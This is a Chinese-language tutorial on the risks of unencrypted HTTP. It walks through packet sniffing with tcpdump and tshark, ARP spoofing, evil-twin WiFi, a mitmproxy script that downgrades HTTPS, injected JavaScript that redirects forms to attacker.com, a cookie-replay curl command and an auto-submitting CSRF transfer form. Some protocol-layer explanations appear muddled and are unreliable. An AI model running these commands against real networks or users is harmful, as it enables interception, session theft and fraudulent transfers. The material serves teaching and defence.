一,漏洞本质
当Web应用使用HTTP协议(非HTTPS) 传输数据时,所有内容以未加密的ASCII文本形式在网络上传输,攻击者可在传输路径的任何节点读取或篡改数据。这是OWASP TOP 10中的基础性漏洞(A03:2021-Injection类漏洞的支撑环境)。
完整攻击链分析
漏洞攻击全流程分析
二,攻击原理深度剖析
1. OSI模型漏洞:
发生在应用层(7) 但影响传输层(4)
HTTP数据包在TCP/IP协议栈中封装时无加密层
原始数据帧结构:
| Ethernet头 | IP头 | TCP头 | HTTP头 | 明文数据 |
2. 信息熵暴露:
表单字段名(`password`、`credit_card`)成为攻击关键词
HTML注释、隐藏字段包含敏感信息:
<!-- 测试账号:test/test@123 -->
<input type="hidden" name="internal_id" value="ADMIN">
3. 协议降级漏洞:
浏览器不会阻止HTTP → HTTPS的混合内容
表单action属性使用相对路径时默认继承协议:
<!-- 当前页为HTTPS时,此表单仍用HTTP提交 -->
<form action="/login">...</form>
4.协议层缺陷
层级 |
协议 |
安全特性 |
漏洞根源 |
应用层 |
HTTP/1.1 |
明文传输 |
ASCII编码直接可读 |
表示层 |
TLS 1.2+ |
加密传输 |
未启用HTTPS协议 |
会话层 |
无会话保护 |
-- |
Cookie未设置安全属性 |
三,六维攻击手法详解
1. 被动监听(Passive Sniffing)
工具:Wireshark、tcpdump
技术流程:
# 捕获80端口流量
tcpdump -i eth0 port 80 -w http_capture.pcap
# 分析表单数据
tshark -r http_capture.pcap -Y "http.request.method==POST" -Tfields -e http.file_data
提取结果:
username=admin&password=S3cr3t!&remember_me=1
2. ARP欺骗攻击(ARP Spoofing)
工具:Ettercap、arpspoof
攻击流程:
# 开启IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# ARP毒化
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# 捕获经过流量
driftnet -i eth0 -d /captures
效果:网关与目标主机间所有流量经攻击者中转
3. WiFi热点劫持
工具:Airgeddon、Fluxion
攻击链:
1. 伪造同名热点(如"Starbucks_Free")
2. 发射解除认证攻击踢掉合法用户
3. 诱导连接恶意AP
4. 使用SSLStrip强制HTTP降级
4. 中间人攻击(MitM)
工具:Burp Suite、MITMproxy
操作流程:
# MITMproxy脚本示例
def response(flow):
if "Set-Cookie" in flow.response.headers:
flow.response.headers["Set-Cookie"] += "; Secure" # 注入安全标记欺骗
if flow.request.path == "/login":
flow.response.content = flow.response.content.replace(
b"https://", b"http://") # 强制降级
5. 协议降级攻击(SSL Stripping)
工具:sslstrip2
原理:
6. 恶意代理注入
手法:
1. 攻击者入侵企业网络设备
2. 修改路由器DNS设置或WPAD文件
3. 强制用户流量经恶意代理
4. 实时修改页面内容:
// 注入恶意脚本
document.querySelector('form[action^="http"]').action = "http://attacker.com/steal"
漏洞利用进阶技巧
1. 会话令牌窃取
捕获Cookie头:
Cookie: sessionid=9c5f8a3b0d; user_role=admin
重放攻击:
curl -H "Cookie: sessionid=9c5f8a3b0d" http://victim.com/admin
2. CSRF漏洞组合利用
构造恶意页面:
<body onload="document.forms[0].submit()">
<form action="http://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="to" value="attacker_account">
</form>
</body>
3. 密码策略嗅探
分析JS验证逻辑:
// 捕获前端密码规则
/^(?=.*[A-Z])(?=.*[!@#]).{8,}$/
基于规则生成密码字典。